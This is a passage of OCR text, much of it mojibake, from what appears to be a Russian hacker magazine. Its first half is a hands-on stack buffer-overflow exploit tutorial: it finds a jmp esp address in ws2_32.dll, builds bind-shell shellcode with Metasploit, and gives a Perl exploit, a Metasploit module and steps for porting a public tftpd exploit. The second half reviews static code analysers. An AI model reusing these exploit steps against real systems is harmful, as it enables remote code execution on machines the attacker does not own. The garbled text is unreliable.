рий; типа return to kernel32.728232»):

[buf][ebp][ret][ïðåäûäóùèé ñòåêîâûé ôðåéì]

Нажимаем <F8> (перейти на следующую инструкцию) и 
отмечаем изменения в стеке:

Все исходники и про-
граммы, упомянутые 
в статье ты, как 
обычно, найдешь на 
диске.

dvd

DVD

warning
Информация пред-
ставлена исключи-
тельно в ознакоми-
тельных целях, чтобы 
показать, чего стоят 
критические уязви-
мости в коде и как 
злоумышленники 
могут их использо-
вать. Не повторяй эти 
действия в противо-
законных целях. 
В противном случае 
автор и редакция 
ответственности не 
несут!

WARNING
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[buf][ebp][ret][ïðåä. ñòåêîâûé ôðåéì]

[AAAAAAAA][BBB][CCCCCCCC…]

Теперь взглянем на конец функции pf:

00401313 POP EDI

00401314 POP ESI

00401315 LEAVE

00401316 RETN

При вызове команды LEAVE происходит сле-
дующее:

MOV ESP, EBP //òåïåðü â ESP 

ñîäåðæèòñÿ àäðåñ [ebp]

POP EBP // â EBP çàíîñèòñÿ çíà-

÷åíèå èç [ebp] (ýòà îáëàñòü ó 

íàñ ïåðåçàïèñàíà ñèìâîëàìè «À», 

ñëåäîâàòåëüíî, EBP áóäåò ðàâåí 

41414141), ESP òåïåðü óêàçûâàåò íà 

àäðåñ âîçâðàòà.

При выполнении команды RETN из стека 
выталкивается адрес возврата — поэтому 
получается, что ESP указывает на начало 
стекового фрейма, то есть на $junk2, где мы и 
будем размещать наш шелл-код. А как перейти 
по адресу, лежащему в esp? Хороший вопрос!
Переход к ESP — вполне обычное действие 
для виндовых приложений. Более того, любое 
такое приложение использует, как минимум, 
одну системную DLL’ку, в которых есть инструк-
ции на любой вкус. Адреса в таких DLL'ках, 
как правило, статичны и не изменяются! 
Получается, если найти инструкцию перехода 

на ESP (а это либо jmp esp, либо push esp + 
ret, либо call esp), взять ее адрес и заменить 
им адрес возврата, то на выходе из функции 
управление передастся на ESP — прямиком 
нашему шелл-коду. 
Есть один момент, который стоит упомянуть! 
Адрес возврата не должен содержать нуле-
вых байтов, ведь функция strcpy воспримет 
все как признак конца строки и не скопирует 
оставшуюся часть буфера, то есть $junk2, куда 
мы хотели разместить шелл-код. Поэтому мы 
будем искать инструкцию перехода по esp в 
динамических библиотеках, используемых 
приложением, так как адрес такой инструкции 
в библиотеках будет выше, и не будет занимать 
все четыре байта — исключая возможность 
появления нуля в начале. 
Осуществлять поиск будем с помощью полез-
ной утилиты findjmp, входящей в состав пакета 
тулз MSF eXploit Builder (www.securinfos.info/
metasploit/MSF_XB.php) — он нам понадо-
бится и позже. Прога ищет адрес команды call, 
jmp, push + регистр и ret в dll или приложе-
нии. Наша программа работает с сокетами, и 
значит, она будет использовать стандартную 
виндовую библиотеку ws2_32.dll. Посмотрим, 
есть ли там интересующий нас опкод (то есть 
машинные инструкции, соответствующие пере-
даче управления на ESP). Запускаем с указа-
нием, во-первых, библиотеки для поиска, и, 
во-вторых, нужного регистра:

Findjmp2.exe ws2_32.dll esp

Scanning ws2_32.dll for code 

useable with the esp register

0x71AB9372      push esp — ret

Finished Scanning ws2_32.dll for 

code useable with the esp register

Found 1 usable addresses

Найден один подходящий нам адрес — 
0x71AB9372. Кстати, если вдруг нужного опкода 
в другой ситуации не найдется — не беда, 
можно поискать в kernel32.dll, которая исполь-
зуется всеми приложениями. Аналогичный 
поиск по этой библиотеке дает еще два под-
ходящих адреса. В действительности, это не 
самый удачный вариант и искать опкоды в 
системных библиотеках стоит в самом послед-
нем случае. Дело в том, что библиотеки разли-
чаются от системе к системе и даже от версии 
сервиспака, установленного в винде. Адрес 
0x71AB9372 действителен только для англий-
ской Windows XP SP2 — для другой системы 
он будет другой! Именно поэтому подходящие 
опкоды стоит искать в DLL'ках, которые уста-
навливает в систему сама программа — только 
в этом случае есть шанс написать незави-
сящий от версии Widnows сплоит. В нашем 
случае, увы, такой вариант невозможен в виду 
простоты примера, но свои динамические 
библиотеки для реального виндового прило-
жения — это в большинстве случаев норма.
Осталось только создать шелл-код. Как я уже 
говорил, к сплоиту предъявляется одно важ-
ное требование — он не должен содержать 
нулевых байтов. В программе копируется 
строка, и если встретится «0», он будет вос-
принят как конец строки. Соответственно, 
оставшаяся часть строки не скопируется,  а 
неполный шелл-код, естественно, не будет 
работать. В создании шелл-кода нам опять 
поможет Metasploit и консольный интерфейс 
для управления фреймворком. Итак, запу-
скаем консоль tools/msfconsole и вводим 
следующее:

msf > use windows/shell_bind_tcp 

// áóäåì èñïîëüçîâàòü ýòîò payload

msf payload(shell_bind_tcp) > set 

LPORT 5555 // óñòàíàâëèâàåì çíà÷å-

íèå ïîðòà íà óäàëåííîé ìàøèíå

LPORT => 5555

С помощью команды «generate -h» посмотрим 
опции, которые можно указать для генерации 
шелл-кода:
• -b <opt> — список символов, которые сле-
дует исключить из шелл-кода;
• -f <opt> — имя файла, куда сохраняется 
шелл-код;
• -t <opt> — тип шелл-кода: ruby, perl, c или 
raw.
Указываем, что надо избегать байтов '\x00\xff', 
генерировать код для Perl'a и сохранить полу-
ченные результаты в c:\\shellcode.bin:

msf payload(shell_bind_tcp) > 

generate -b '\x00\xff' -f c:\\

shellcode.bin -t perl

[*] Writing 1747 bytes to c:\

shellcode.bin...
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Вот теперь, имея на руках шелл-код, наста-
ло время собрать полноценный эксплоит. 
Единственное — нужно помнить несколько 
моментов:
• в шелл-коде не должны встречаться 0xff и 
0x00 байты, но мы об этом уже позаботились;
• непосредственно перед шелл-кодом нужно 
поместить цепочки из NOP (машинная коман-
да — нет операции) — на случай, если мы чуть-
чуть накосячили с адресом возврата.
Отправляемая серверу строка будем формиро-
ваться следующим образом:

my $junk = "\x90" x 504; // ïåðâûå 

504 NOP’a

#jmp esp (from ws2_32.dll)

my $eipoverwrite = 

pack('V',0x71AB9372); // ïåðåçà-

ïèñûâàåì àäðåñ âîçâðàòà çíà÷åíèåì 

0x71AB9372

#add some NOP's

my $shellcode="\x90" x 50; // äîáàâ-

ëÿåì 50 nop-îâ ïåðåä øåëë-êîäîì

// ïðèáàâëÿåì ñãåíåðèðîâàííûé íàìè 

øåëë-êîä (windows/shell_bind_tcp)

$shellcode=$shellcode."\xbb\x2e\ [è 

òóò òîæå êóøàë ðåäàêòîð ] xd3"; 

Окончательная строка, отправляемая в сокет:

// è îòïðàâëÿåì ÿäîâèòóþ ñòðîêó 

ñåðâåðó

print SOCKET $junk.$eipoverwrite.$s

hellcode."\n";

После чего пытаемся в сплоите установить 
соединение с удаленной машиной на 5555 
порту, который мы указали при генерации 
шелл-кода:

system("telnet $host 5555");

Запускаем эксплоит и… о чудо, он работает! 
Протестировав эксплоит на различных ОС 

(Windows XP SP3), можно увидеть, что значе-
ние смещения не меняется — меняется только 
наш адрес возврата.

ÝÊÑÏËÎÈÒ ÄËß METASPLOIT
Итак, у нас есть сплоит для конкретной плат-
формы с вполне определенной нагрузкой, 
открывающей в системе шелл. Так зачем 
нужна вообще какая-либо специальная 
платформа для создания сплоита, если мы 
вполне обошлись силами одного лишь Perl'а? 
Причина в том, что Metasploit предоставляет 
огромное количество заготовок, реализаций 
различных протоколов, одну из самых больших 
баз шелл-кодов, payload-ов, которые можно 
использовать при написании собственного 
эксплоита. Вместо убогого скрипта на Perl'е 
можно написать модуль для Metasploit, после 
чего запускать его на любой платформе и 
выбирать payload на свой вкус! Чуешь разни-
цу? Предлагаю прямо сейчас усовершенство-
вать наш сплоит, переписав его для Metasploit, 
и посмотреть, как это работает. Само собой, он 
будет обладать возможностью выбора плат-
формы для атаки, а выбирать пейлоад ты смо-
жешь прямо во время ее исполнения.
Любой эксплоит для Metasploit имеет фикси-
рованную структуру, которая состоит из объ-
явления заголовочных файлов, подключения 
ядра msf/core, определения класса эксплоита, 
в котором описывается его функциональность. 
Я не буду приводить здесь полный исходник 
модуля, но выкладываю на диске. Рекомендую 
для большей ясности открыть его прямо сей-
час и далее читать мое практически построч-
ное объяснение кода.
Первое, с чего начинается любой сплоит, — 
это подключение ядра Metasploit Framework:

require 'msf/core'

Функциональность любого сплоита описыва-
ется с помощью класса, где настройки зада-
ются с помощью параметров, а функциональ-

ность — с помощью методов. Создаваемый 
объект наследуется от одного из предопреде-
ленных классов. Поскольку мы создаем уда-
ленный сплоит, то и наследуем наш объект от 
родительского класса «Удаленный эксплоит». 
В синтаксисе Ruby это делается так: 

class Metasploit3 < 

Msf::Exploit::Remote. 

Большая заслуга Metasploit в том, что он уни-
фицирует большое количество параметров 
и действий, позволяя использовать готовые 
конструкции вновь и вновь. Первый элемент 
разрабатываемого класса — секция include, 
где мы подключаем обработчик для нужного 
нам протокола. В Metasploit есть обработчики 
для http, ftp и других протоколов, что позволяет 
быстрее писать эксплоиты, не заморачиваясь 
с их собственной реализацией. Наш эксплоит 
использует TCP-подключение, поэтому код 
будет выглядеть следующим образом:

include Msf::Exploit::Remote::Tcp

Далее весь сплоит делится на два метода: 
метод инициализации, в котором мы указыва-
ем информацию, необходимую для успешного 
выполнения эксплоита, и метод эксплуатации, 
в котором мы отправляем на сервер ядовитую 
строку.
Начнем с инициализации. Параметр Payload 
задает длину ядовитого буфера и недопусти-
мые символы (в нашем случае — 0х00 и 0xff):

'Payload' =>

   {

     'Space'    => 1400,

     'BadChars' => "\x00\xff",

   }

Далее определяем цели эксплоита и специ-
фичные для каждой цели параметры, такие как 
адрес возврата, смещение и т.д.:

'Platform'       => 'win',

'Targets'        =>

  [

    ['Windows XP SP2 En',

    { 'Ret' => 0x0x71ab9372,

    'Offset' => 504 } ],

    ['Windows 2003 Server R2 SP2',

    { 'Ret' => 0x71c02b67,

    'Offset' => 504  } ],

    ... 

   ]

Обрати внимание, мы не определяем сам 
шелл-код — то есть, нагрузку, которую выпол-
нит сплоит. Действие на удаленной машине 
будет выбираться интерактивно во время 
работы в консоли Metasploit'ом. Сейчас нам 
остается только написать самое главное 
— метод для эксплуатации уязвимости. С 
помощью команды connect устанавливаем 
TCP-соединение (обработчик протокола 
мы подключили выше и даже указали порт, 
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помнишь?), далее — определяем ядовитую 
строку и передаем ее в сокет, после чего раз-
рываем соединение. Ядовитый буфер состоит 
из цепочки NOP-команд, величины Offset 
— затем к ней прибавляется адрес возврата, 
еще небольшая NOP-цепочка и зашифрован-
ный PAYLOAD. Все вместе выглядит так:

def exploit

 connect

 junk = make_nops(target['Offset'])

 sploit = junk + [target.ret].

pack('V') + make_nops(50) + 

payload.encoded

 sock.put(sploit)

 handler

 disconnect

end

Вот и все, наш первый модуль для Metasploit 
готов! Чтобы его можно было использовать, 
скопируем исходник в папку modules/exploits/
test (если не нравится test — можешь скопи-
ровать в windows/misc, например). Запускаем 
msfconsole и работаем в интерактивной консо-
ли Metasploit'а!

ÝÊÑËÎÈÒ ÇÀ 5 ÌÈÍÓÒ
Как видишь, разработать эксплоит для 
Metasplot не так сложно. Скорее даже наобо-
рот, ведь большая часть работы уже сделана за 
тебя. Взять хотя бы огромную базу шелл-кодов 
— попробуй разработать свой. Но лени челове-
ческой нет предела, поэтому в стремлении еще 
больше упростить процесс был разработан 
пакет утилит MSF eXploit Builder. Программа 
имеет удобный графический интерфейс и 
поможет по-настоящему быстро создавать 

новый модуль для Metasploit. Кроме удобного 
GUI, eXploit Builder включает в себя целую кучу 
полезных тулз, необходимых для отладки и 
тестирования эксплоитов. Более того — можно 
опять же не создавать с нуля, а портировать 
уже существующие сплоиты.
Предлагаю взять какой-нибудь эксплоит и с 
помощью MSF eXploit Builder превратить его в 
Metasploit-модуль. Ты спросишь, зачем это нам 
надо? Превратив его в Metasploit-модуль, мы 
можем использовать его вместе с различными 
payload-ами. Проще говоря, это сделает экс-
плоит более универсальным и кроссплатфор-
менным. Сейчас ты сам убедишься, насколько 
эта программа может упростить жизнь — ведь 
теперь для написания и отладки эксплоита не 
нужно даже знание Ruby и Metasploit API. В 
качестве кролика для эксперимента я выбрал 
первое, что попалось, — сплоит для tftpdwin 
0.42 (milw0rm.com/exploits/7452).
Запускаем MSF eXploit Builder, заходим в меню 
«Editor» и выбираем «New». Появляется окно с 
несколькими вкладками (Information, Badchars, 
Analysis, Shellcode, Design). Переходим на вклад-
ку «Information» и видим много интересных 
полей. Как ты помнишь, в этой секции указыва-
ются цели (OS + SP) и тип/протокол эксплоита 
(например, remote/tcp). Более того, программа 
предоставляет нам возможность тестирования 
и отладки полученного эксплоита, поэтому тут 
же можно выбрать исполняемый файл и указать 
параметры для его запуска (порт, ip-адрес).
Итак, выбираем наш tftpd.exe, после чего 
утилита предложит следующие действия на 
выбор: запустить приложение, запустить его 
под отладчиком или не запускать вообще 
— просто запустим приложение. Обрати вни-
мание, что справа сбоку отобразится список 
загруженных приложением DDL'ек.
Теперь начинаем смотреть код сплоита — 
на наше счастье он предельно понятный. 

Комментарий «Restricted chars = 0x00 0x6e 
0x65 0x74» явно указывает на запрещенные 
символы — что ж, выставим их в нашей про-
грамме. Для этого переходим на вкладку 
Badchars и в одноименном поле вводим: \x00\
x6e\x65\x74. Далее по коду мы видим, как фор-
мируется ядовитый пакет:

my $packet = (($p1).($nopsled).

($shellcode).(($overflow)).($ret).

($p2));

Разбираемся с каждой составляющей и заодно 
составляем буфер для отправки во вклад-
ке «Design». Сначала идет переменная $p1 
(my $p1=«\x00\x01»;). Вводим их в поле Value 
(Operation по умолчанию оставляем RAW). За 
ней идет переменная $nopsled (my $nopsled 
= «\x90» x 10;) — выбираем Operation = NOP 
и устанавливаем длину в 10. Далее распола-
гается $shellcode — устанавливаем Operation 
= PAYLOAD и Length = 0. Следующая часть — 
$overflow (my $overflow = “\x41” x $len; строка 
из символов «А» длиной в $len). Переменная 
my $len = (274 — length($shellcode)), то есть 
строка длиной 274 символа минус длина шелл-
кода. Выставляем Operation = RAW, Length = 
274 и выбираем (нажимаем поочередно) вверху 
кнопки RAW could be: rand_text_alpha, -payload.
encoded.length, что означает: длина строки будет 
высчитываться по вышеприведенной формуле. 
Потом добавляем адрес возврата $ret (my $ret 
= “\x5d\x10\x40”) и выбираем Operation = RET. 
Наконец, добавляем $p2, равное  «\x00\x6e\
x65\x74\x61\x73\x63\x69\x69\x00», и выбираем 
Operation = RAW. Ядовитый пакет готов.
Собственно, теперь у нас есть все для созда-
ния готового сплоита. Поэтому нажимаем на 
кнопку «Generate» и любуемся кодом получив-
шегося сплоита. Если какие-то моменты вызы-
вают сомнения, тут же можно отредактировать 
код вручную. Классно, что возможно сразу 
проверить работоспособность кода — для 
этого смело жмем кнопку «Test». И ведь — все 
работает! За 5 минут, которые ушли на озна-
комление с программой, и без всякого знания, 
как языка Ruby, так и структуры Metasploit, 
мы создали полностью рабочий сплоит. Это 
дорогого стоит! В качестве домашнего зада-
ния попробуй с помощью MSF eXploit Builder 
создать эксплоит для нашего сервера :).

ÇÀÊËÞ×ÅÍÈÅ
Вот и закончилась наша экскурсия по фабрике 
эксплоитов. Знать, как устроены сплоиты, полез-
но во многих отношениях. Не умея прочитать 
шелл-код в свежем эксплоите или, вообще, 
запуская непонятный exe'шник, далеко не всегда 
можно доверять его создателю. Многие сплоиты 
выпускаются в паблик с отсутствующими частями 
и специально оставленными ошибками — это 
непременно остановит армию скрипткидис, 
но для понимающего человека едва ли станет 
серьезной задачей. Надеюсь, я сегодня убедил 
тебя, что ничего нереального в сплоитах нет: 
ведь хакеры люди — логичные и понятные :). z
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Наличие исходных кодов программы суще-
ственно упрощает поиск уязвимостей. Вместо 
того чтобы вслепую манипулировать различ-
ными параметрами, которые передаются при-
ложению, куда проще посмотреть в сорцах, 
каким образом она их обрабатывает. Скажем, 
если данные от пользователя передаются 
без проверок и преобразований, доходят до 
SQL-запроса — имеем уязвимость типа SQL 
injection. Если они добираются до вывода в 
HTML-код — получаем классический XSS. От 
статического сканера требуется четко обна-
руживать такие ситуации, но, к сожалению, 
выполнить это не всегда так просто, как 
кажется.

Современные 
компиляторы
Может показаться забавным, но одним из 
самых эффективных анализаторов кода 
являются сами компиляторы. Конечно, пред-
назначены они совсем для другого, но в 
качестве бонуса каждый из них предлагает 
неплохой верификатор исходников, способ-
ный обнаружить большое количество оши-
бок. Почему же он не спасает? Изначально 
настройки такой верификации кода выстав-
лены достаточно лояльно: в результате, чтобы 
не смущать программиста, компилятор начи-
нает ругаться только в случае самых серьез-
ных косяков. А вот и зря — если поставить 
уровень предупреждений повыше, вполне 
реально откопать немало сомнительных мест 
в коде. Выглядит это примерно следующим 
образом. Скажем, в коде отсутствует провер-
ка на длину строки перед копированием ее в 
буфер. Сканер находит функцию, копирующую 
строку (или ее фрагмент) в буфер фиксиро-
ванного размера без предварительной про-

верки ее длины. Он прослеживает траекто-
рию передачи аргументов: от входных данных 
до уязвимой функции и смотрит: возможно 
ли подобрать такую длину строки, которая 
бы вызывала переполнение в уязвимой 
функции и не отсекалась бы предшествую-
щими ей проверками. В случае если такой 
проверки нет, находим практически 100% 
переполнение буфера. Главная сложность в 
использовании для проверки компилятора — 
заставить его «проглотить» чужой код. Если 
ты хоть раз пытался скомпилировать прило-
жение из исходников, то знаешь, насколько 
сложно удовлетворить все зависимости, 
особенно в больших проектах. Но результат 
стоит того! Тем более, помимо компилятора 
в мощные IDE встроены и некоторые другие 
средства для анализа кода. К примеру, на 
следующий участок кода в Visual Studio будет 
выдано предупреждение об использовании 
в цикле функции _alloca, что может быстро 
переполнить стек:

char *b;

do {

b = (char*)_alloca(9)

} while(1)

В этом заслуга статического анализатора 
PREfast. Подобно FxCop, предназначенной 
для анализа управляемого кода, PREfast 
изначально распространялся в виде отдель-
ной утилиты и лишь позже стал частью Visual 
Studio.
 
RATS — Rough Auditing 
Tool for Security 
www.securesoftware.com
GNU GPL
Unix, Windows
Ошибка ошибке — рознь. Часть огрех, кото-
рые допускают программисты, некритична и 
грозит только нестабильностью программы. 
Другие, напротив, позволяют инжектировать 
шелл-код и выполнять произвольные коман-
ды на удаленном сервере. Особый риск в 
коде представляют команды, позволяющие 
выполнить buffer overflow и другие похожие 
типы атак. Таких команд очень много, в 
случае с C/C++ это функции для работы со 
строками (xstrcpy(), strcat(), gets(), sprintf(), 
printf(), snprintf(), syslog()), системные 

PREFAST — КОГДА-ТО ОТДЕЛЬНОЕ 
ПРИЛОЖЕНИЕ, А ТЕПЕРЬ ЧАСТЬ 
VISUAL STUDIO

РЕЗУЛЬТАТ СКАНИРОВАНИЯ RATS

У каждого из команды z — свои предпочтения по части софта и утилит для пентеста. Посовещавшись, 
мы выяснили: выбор так разнится, что можно составить настоящий джентльменский набор из проверен-
ных программ. На том и решили. Чтобы не делать сборную солянку, весь список разбит на темы. Сегодня 
мы разберем статические анализаторы кода для поиска уязвимостей в приложениях, когда на руках — их 
исходники.

12 TOOLS
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команды (access(), chown(), chgrp(), chmod(), 
tmpfile(), tmpnam(), tempnam(), mktemp()), а 
также команды системных вызовов (exec(), 
system(), popen()). Вручную исследовать весь 
код (особенно, если он состоит из несколь-
ких тысяч строк) довольно утомительно. А 
значит, можно без труда проглядеть пере-
дачу какой-нибудь функции непроверенных 
параметров. Значительно облегчить задачу 
могут специальные средства для аудита, в 
том числе, известная утилита RATS (Rough 
Auditing Tool for Security) от известной компа-
нии Fortify. Она не только успешно справится 
с обработкой кода, написанного на C/C++, но 
сможет обработать еще и скрипты на Perl, 
PHP и Python. В базе утилиты находится 
внушающая подборка с детальным описа-
нием проблемных мест в коде. С помощью 
анализатора она обработает скормленный ей 
сорец и попытается выявить баги, после чего 
выдаст информацию о найденных недочетах. 
RATS работает через командную строку, как 
под Windows, так и *nix-системами.
С++, PHP, Python, Ruby

Yasca
www.yasca.org
Open Source
Unix, Windows
Yasca так же, как и RATS, не нуждается в 
установке, при этом имеет не только кон-
сольный интерфейс, но и простенький GUI. 
Разработчики рекомендуют запускать утилиту 
через консоль — мол, так возможностей 
больше. Забавно, что движок Yasca написан 
на PHP 5.2.5, причем интерпретатор (в самом 
урезанном варианте) лежит в одной из под-
папок архива с программой. Вся программа 
логически состоит из фронтенда, набора 
сканирующих плагинов, генератора отчета и 
собственно движка, который заставляет все 

шестеренки вращаться вместе. Плагины сва-
лены в директорию plugins — туда же нужно 
устанавливать и дополнительные аддоны. 
Важный момент! Трое из стандартных пла-
гинов, которые входят в состав Yasca, имеют 
неприятные зависимости. JLint, который 
сканирует Java’овские .class-файлы, требу-
ет наличия jlint.exe в директории resource/
utility. Второй плагин — antiC, используемый 
для анализа сорцов Java и C/C++, требует 
antic.exe в той же директории. А для рабо-
ты PMD, который обрабатывает Java-код, 
необходима установленная в системе Java 
JRE 1.4 или выше. Проверить правильность 
установки можно, набрав команду «yasca ./
resources/test/». Как выглядит сканирование? 
Обработав скормленные программе сорцы, 
Yasca выдает результат в виде специального 
отчета. Например, один из стандартных пла-
гинов GREP позволяет с помощью паттернов, 
описанных в .grep файлах, указать уязвимые 
конструкции и легко выявлять целый ряд 
уязвимостей. Набор таких паттернов уже 
включен в программу: для поиска слабого 
шифрования, авторизации по «пароль равен 
логину», возможных SQL-инъекций и много 
чего еще. Когда же в отчете захочется уви-
деть более детальную информацию, не поле-
нись установить дополнительные плагины. 
Чего стоит одно то, что с их помощью можно 
дополнительно просканировать код на .NET 
(VB.NET, C#, ASP.NET), PHP, ColdFusion, 
COBOL, HTML, JavaScript, CSS, Visual Basic, 
ASP, Python, Perl.
С++, Java, .NET, ASP, Perl, PHP, Python и 
другие

Cppcheck
cppcheck.wiki.sourceforge.
net
Open Source
Unix, Windows
Разработчики Cppcheck решили не разбра-
сываться по мелочам, а потому отлавливают 
только строго определенные категории багов 
и только в коде на С++. Не жди, что програм-
ма продублирует предупреждения компиля-
тора — он обойдется без суфлера. Поэтому 
не поленись поставить для компилятора 
максимальный уровень предупреждений, а с 
помощью Cppcheck проверь наличие утечек 
памяти, нарушений операций allocation-
deallocation, различных переполнений буфе-
ра, использования устаревших функций и 
многого другого. Важная деталь: разработчи-
ки Cppcheck постарались свести количество 
ложных срабатываний к минимуму. Поэтому, 
если прога фиксирует ошибку, можно с боль-
шой вероятностью сказать: «Она действи-
тельно есть!» Запустить анализ можно как 
из-под консоли, так и с помощью приятного 
GUI-интерфейса, написанного на Qt и рабо-
тающего под любой платформой.
С++

graudit
www.justanotherhacker.
com/projects/graudit.html
Open Source
Unix, Windows
Этот простой скрипт, совмещенный с набором 
сигнатур, позволяет найти ряд критических 
уязвимостей в коде, причем поиск осущест-
вляется с помощью всем известной утилиты 
grep. О GUI-интерфейсе тут неуместно даже 
упоминать: все осуществляется через кон-
соль. Для запуска есть несколько ключей, но  
в самом простом случае достаточно указать в 
качестве параметра путь к исходникам:

graudit /path/to/scan

Наградой за старание будет цветастый отчет о 
потенциально эксплуатируемых местах в коде. 

Надо сказать, что, помимо самого скрипта (а это 
всего 100 строчек кода на Bash), ценность пред-
ставляют сигнатурные базы, в которых собраны 
регекспы и названия потенциально уязвимых 
функций в разных языках. По умолчанию вклю-
чены базы для Python, Perl, PHP, C++ — можно 
взять файлы из папки signatures и использо-
вать в своих собственных разработках.
C++, PHP, Python, Perl

SWAAT
www.owasp.org
Open Source
Unix, Windows
Если в graudit для задания сигнатуры уяз-
вимости используются текстовые файлы, то 
в SWAAT — более прогрессивный подход 
с помощью XML-файлов. Вот так выглядит 
типичная сигнатура:

vuln match — ðåãóëÿðíîå âûðàæåíèå 

äëÿ ïîèñêà;

ПОТЕНЦИАЛЬНО ОПАСНЫЕ КОН-
СТРУКЦИИ В ОТЧЕТЕ GRAUDIT ВЫ-
ДЕЛЕНЫ КРАСНЫМ

QT-ИНТЕРФЕЙС CPPCHECK

 039

ФРОНТЕНД ДЛЯ YASCA

XML-ФОРМАТ ДЛЯ ОПИСАНИЯ 
СИГНАТУР В SWAAT
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PC_ZONE

Ищи на диске под-
борку утилит для ста-
тического анализа 
кода!

dvd

DVD

type — óêàçûâàåò íà òèï óÿçâèìîñòè:

severity — îáîçíà÷àåò óðîâåíü ðèñêà (high, 

medium èëè low)

alt — àëüòåðíàòèâíûé âàðèàíò êîäà äëÿ ðåøå-

íèÿ ïðîáëåìû

SWAAT считывает базу сигнатур и с ее помощью пыта-
ется найти проблемные участки кода в исходниках на 
Java, JSP, ASP .Net и PHP. База постоянно пополняется 
и, помимо списка «опасных» функций, сюда включены 
типичные ошибки в использовании форматирования 
строк и составлении SQL-запросов. Примечательно, что 
прога написана на C#, однако отлично работает и под 
никсами, благодаря проекту Mono — открытой реализа-
ции платформы .Net.
Java, JSP, ASP .Net, PHP 

PHP Bug Scanner
raz0r.name/releases/php-bug-
scanner
Freeware
Windows
Если тебе нужно провести статический анализ PHP-
приложения, рекомендую попробовать PHP Bug Scanner, 
которую написал наш автор — raz0r. Работа проги основана 
на сканировании различных функций и переменных в PHP-
скриптах, которые могут быть задействованы при проведении 
веб-атак. Описание всех ситуаций оформляется в виде так 
называемых пресетов, причем в программу уже включены 7 
специальных прессетов, сгруппированных по категориям:
• code execution;

• command execution;
• directory traversal;
• globals overwrite;
• include;
• SQL-injection;
• miscellaneous.
Забавно, что прога написана на PHP/WinBinder 
(winbinder.org) и скомпилирована bamcompile (www.
bambalam.se/bamcompile), поэтому выглядит так же, как 
и обычное Windows-приложение. Через удобный интер-
фейс пентестер может включить или отключить анализ 
кода на наличие тех или иных уязвимостей.
PHP

Pixy
pixybox.seclab.tuwien.ac.at
Freeware
Unix, Windows
В основе работы инструмента — сканирование исходно-
го кода и построение графов потоков данных. По такому 
графу прослеживается путь данных, которые поступают 
извне программы — от пользователя, из базы данных, 
от какого-нибудь внешнего плагина и т.п. Таким образом 
строится список уязвимых точек (или входов) в приложе-
ниях. С помощью паттернов, описывающих уязвимость, 
Pixy проверяет такие точки и позволяет определить XSS- и 
SQL-уязвимости. Причем сами графы, которые строятся во 
время анализа, можно посмотреть в папке graphs (напри-
мер, xss_file.php_1_dep.dot) — это очень полезно для 
того чтобы понять, почему именно тот или иной участок 
кода считается Pixy-уязвимым. Вообще, сама разработка 
крайне познавательна и демонстрирует, как работают 
продвинутые утилиты для статического анализа кода. На 
страничке документации (pixybox.seclab.tuwien.ac.at/pixy/
documentation.php) разработчик доходчиво рассказывает 
о разных этапах работы программы, объясняет логику и 
алгоритм того, как должен анализироваться прогой тот или 
иной фрагмент кода. Сама программа написана на Java и 
распространяется в открытых исходниках, а на домашней 
страничке есть даже простенький онлайн-сервис для про-
верки кода на XSS-уязвимости.
PHP

Ounce 6
www.ouncelabs.com/products
Shareware
Windows
Увы, существующие бесплатные решения пока на голову 
ниже, чем коммерческие аналоги. Достаточно изучить 

ГРАФ ПОТОКА 
ДАННЫХ, ПО-
СТРОЕННЫЙ 
PIXY

KLOCWORK INSIGHT УДОБНО ИНТЕГРИРО-
ВАН В СРЕДУ РАЗРАБОТКИ

warning

Информация пред-
ставлена в целях 
ознакомления и, пре-
жде всего, показы-
вает, каким образом 
разработчики могут 
избежать критиче-
ских ошибок во время 
разработки прило-
жений. За исполь-
зование полученных 
знаний в незаконных 
целях ни автор, ни 
редакция ответствен-
ности не несут.

WARNING

PHP BUG SCANNER НАШЕЛ 5 ОПАСНЫХ 
МЕСТ В ОДНОМ PHP-ФАЙЛЕ

АНАЛИЗИРУЕМ JAVA-ПРОЕКТ В OUNCE 6
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качество и детальность отчета, который состав-
ляет Ounce 6 — и понять, почему. В основе 
программы лежит специальный анализирую-
щий движок Ounce Core, который проверяет 
код на соответствие правилам и политикам, 
составленным командой профессиональных 
пентестеров, аккумулировавших опыт извест-
ных security-компаний, хакерского комьюнити, 
а также стандартов безопасности. Программа 
определяет самые разные уязвимости в коде: 
от переполнения буфера до SQL-инъекций. 
При желании Ounce несложно интегрируется с 
популярными IDE, чтобы реализовать автома-
тическую проверку кода во время сборки каж-
дого нового билда разрабатываемого прило-
жения. Кстати говоря, компанию-разработчика 
— Ounce Labs — летом этого года приобрела 
сама IBM. Так что продукт, скорее всего, про-
должит развитие уже как часть одного из ком-
мерческих приложений IBM.

Klocwork Insight
www.klocwork.com
Shareware
Windows
Долгое время этот, опять же, коммерческий 
продукт реализовал статическое сканирование 
кода только для C, C+ и Java. Но как только 
вышли Visual Studio 2008 и .NET Framework 
3.5, разработчики заявили о поддержке C#. 
Я прогнал программу на двух своих вспомо-
гательных проектах, которые на скорую руку 
написал на «шарпе», и программа выявила 
7 критических уязвимостей. Хорошо, что они 
написаны исключительно для внутреннего 
использования :). Klocwork Insight изначально 
настроен, прежде всего, на работу в связке 
с интегрированными средами разработки. 
Интеграция с теми же Visual Studio или Eclipse 
выполнена чрезвычайно удачно — начинаешь 
всерьез задумываться, что такая функцио-
нальность должна быть реализована в них 
по умолчанию :). Если не брать в расчет про-
блемы с логикой работы приложения и про-
блемы с быстродействием, то Klocwork Insight 
отлично справляется с поиском переполнения 
буфера, отсутствия фильтрации пользователь-
ского кода, возможности SQL/Path/Cross-site 
инъекций, слабого шифрования и т.п. Еще 
одна интересная опция — построение дере-
ва выполнения приложения, позволяющего 

быстро вникнуть в общий принцип работы 
приложения и отдельно проследить, например, 
за обработкой какого-либо пользовательского 
ввода. А для быстрого конструирования правил 
для проверки кода предлагается даже специ-
альный инструмент — Klocwork Checker Studio.
C++, Java, C#

Coverity Prevent Static 
Analysis 
www.coverity.com/products
Shareware
Windows
Один из самых известных статических ана-
лизаторов кода на C/C++, Java и C#. Если 
верить его создателям, — решение исполь-
зуется более чем 100.000 разработчиков 
по всему миру. Продуманные механизмы 
позволяют автоматизировать поиск утечек 
памяти, неотловленных исключений, проблем 
с быстродействием и, конечно же, уязви-
мостей в безопасности. Продукт поддержи-
вает разные платформы, компиляторы (gcc, 
Microsoft Visual C++ и многие другие), а также 
интегрируется с различными средами раз-
работки, прежде всего Eclipse и Visual Studio. 
В основе обхода кода используются не тупые 
алгоритмы обхода от начала до конца, а что-
то вроде отладчика, анализирующего, как 
программа поведет в себя в различных ситу-
ациях после встречи ветвления. Таким обра-
